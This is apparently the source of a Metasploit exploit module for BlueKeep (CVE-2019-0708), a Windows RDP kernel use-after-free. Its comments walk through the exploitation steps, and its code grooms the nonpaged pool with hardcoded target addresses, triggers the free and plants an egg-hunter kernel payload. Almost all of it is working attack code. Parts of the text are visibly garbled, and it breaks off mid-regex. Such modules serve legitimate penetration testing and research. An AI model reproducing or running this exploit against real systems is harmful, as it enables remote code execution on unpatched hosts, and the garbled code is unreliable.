## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Exploitation and Caveats from zerosum0x0: # # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. # 4. RDP has chunked messages, so we use this to groom. # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. # i. RDPSND only works when # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 # ii. This registry key is not a default setting for server 2008 R2. # We should use alternate groom channels or at least detect the # channel in advance. # 5. Use chunked grooming to fit new data in the freed channel, account for # the allocation header size (like 0x38 I think?). At offset 0x100? is where # the "call [rax]" gadget will get its pointer from. # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 # i. Hot-swap memory is another problem because, with certain VMWare and # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP # start. This can be anywhere from 100 mb to gigabytes of offset # before the NPP start. # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an # indirect call # d. We are limited to 0x400 payloads by channel chunk max size. My # current shellcode is a twin shellcode with eggfinders. I spam the # kernel payload and user payload, and if user payload is called first it # will egghunt for the kernel payload. # 6. After channel hole is filled and the NPP is spammed up with shellcode, # trigger the free by closing the socket. # # TODO: # * Detect OS specifics / obtain memory leak to determine NPP start address. # * Write the XP/2003 portions grooming MS_T120. # * Detect if RDPSND grooming is working or not? # * Expand channels besides RDPSND/MS_T120 for grooming. # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ # # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming # MS_T120 on XP... should be same process as the RDPSND class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking USERMODE_EGG = 0xb00dac0fefe31337 KERNELMODE_EGG = 0xb00dac0fefe42069 CHUNK_SIZE = 0x400 HEADER_SIZE = 0x48 include Msf::Exploit::Remote::RDP include Msf::Exploit::Remote::CheckScanner def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 'Description' => %q( The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. ), 'Author' => [ 'Sean Dillon ', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit 'OJ Reeves ', # @TheColonial - Metasploit module 'Brent Cook ', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-0708'], ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'RDP_CLIENT_NAME' => 'ethdev', 'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep' }, 'Privileged' => true, 'Payload' => { 'Space' => CHUNK_SIZE - HEADER_SIZE, 'EncoderType' => Msf::Encoder::Type::Raw, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic targeting via fingerprinting', { 'Arch' => [ARCH_X64], 'FingerprintOnly' => true }, ], # # # Windows 2008 R2 requires the following registry change from default: # # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] # "fDisableCam"=dword:00000000 # [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8003800000, 'GROOMSIZE' => 100 } ], [ # This works with Virtualbox 6 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8002407000 } ], [ # This address works on VMWare 14 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8030c00000 } ], [ # This address works on VMWare 15 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018C00000 } ], [ # This address works on VMWare 15.1 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8102407000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2019', 'Notes' => { 'AKA' => ['Bluekeep'] } )) register_advanced_options( [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), ] ) end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end if target['FingerprintOnly'] fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually') end begin rdp_connect rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end is_rdp, server_selected_proto = rdp_check_protocol unless is_rdp fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us # from exploiting the target. if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') end chans = [ ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ] @mst120_chan_id = 1004 + chans.length - 1 unless rdp_negotiate_security(chans, server_selected_proto) fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') end rdp_establish_session rdp_dispatch_loop end private # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is # received on a channel, and this is when we need to kick off our exploit. def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) # We have to do the default behaviour first. super(pkt, user, chan_id, flags, data) groom_size = datastore['GROOMSIZE'] pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) groom_chan_count = datastore['GROOMCHANNELCOUNT'] payloads = create_payloads(pool_addr) print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") target_channel_id = chan_id + 1 spray_buffer = create_exploit_channel_buffer(pool_addr) spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 print_status("Surfing channels ...") rdp_send(spray_channel * 1024) rdp_send(free_trigger) chan_surf_size = 0x421 spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min chan_surf_packet = spray_channel * spray_packets chan_surf_count = chan_surf_size / spray_packets chan_surf_count.times do rdp_send(chan_surf_packet) end print_status("Lobbing eggs ...") groom_mb = groom_size * 1024 / payloads.length groom_mb.times do tpkts = '' for c in 0..groom_chan_count payloads.each do |p| tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) end end rdp_send(tpkts) end # Terminating and disconnecting forces the USE print_status("Forcing the USE of FREE'd object ...") rdp_terminate rdp_disconnect end # Helper function to create the kernel mode payload and the usermode payload with # the egg hunter prefix. def create_payloads(pool_address) begin [kernel_mode_payload, user_mode_payload].map { |p| [ pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg p ].pack(' ex print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") end end def assemble_with_fixups(asm) # Rewrite all instructions of form 'lea reg, [rel label]' as relative # offsets for the instruction pointer, since metasm's 'ModRM' parser does # not grok that syntax. lea_rel = /lea+\s(?\w{2,3}),*\s\[rel+\s(?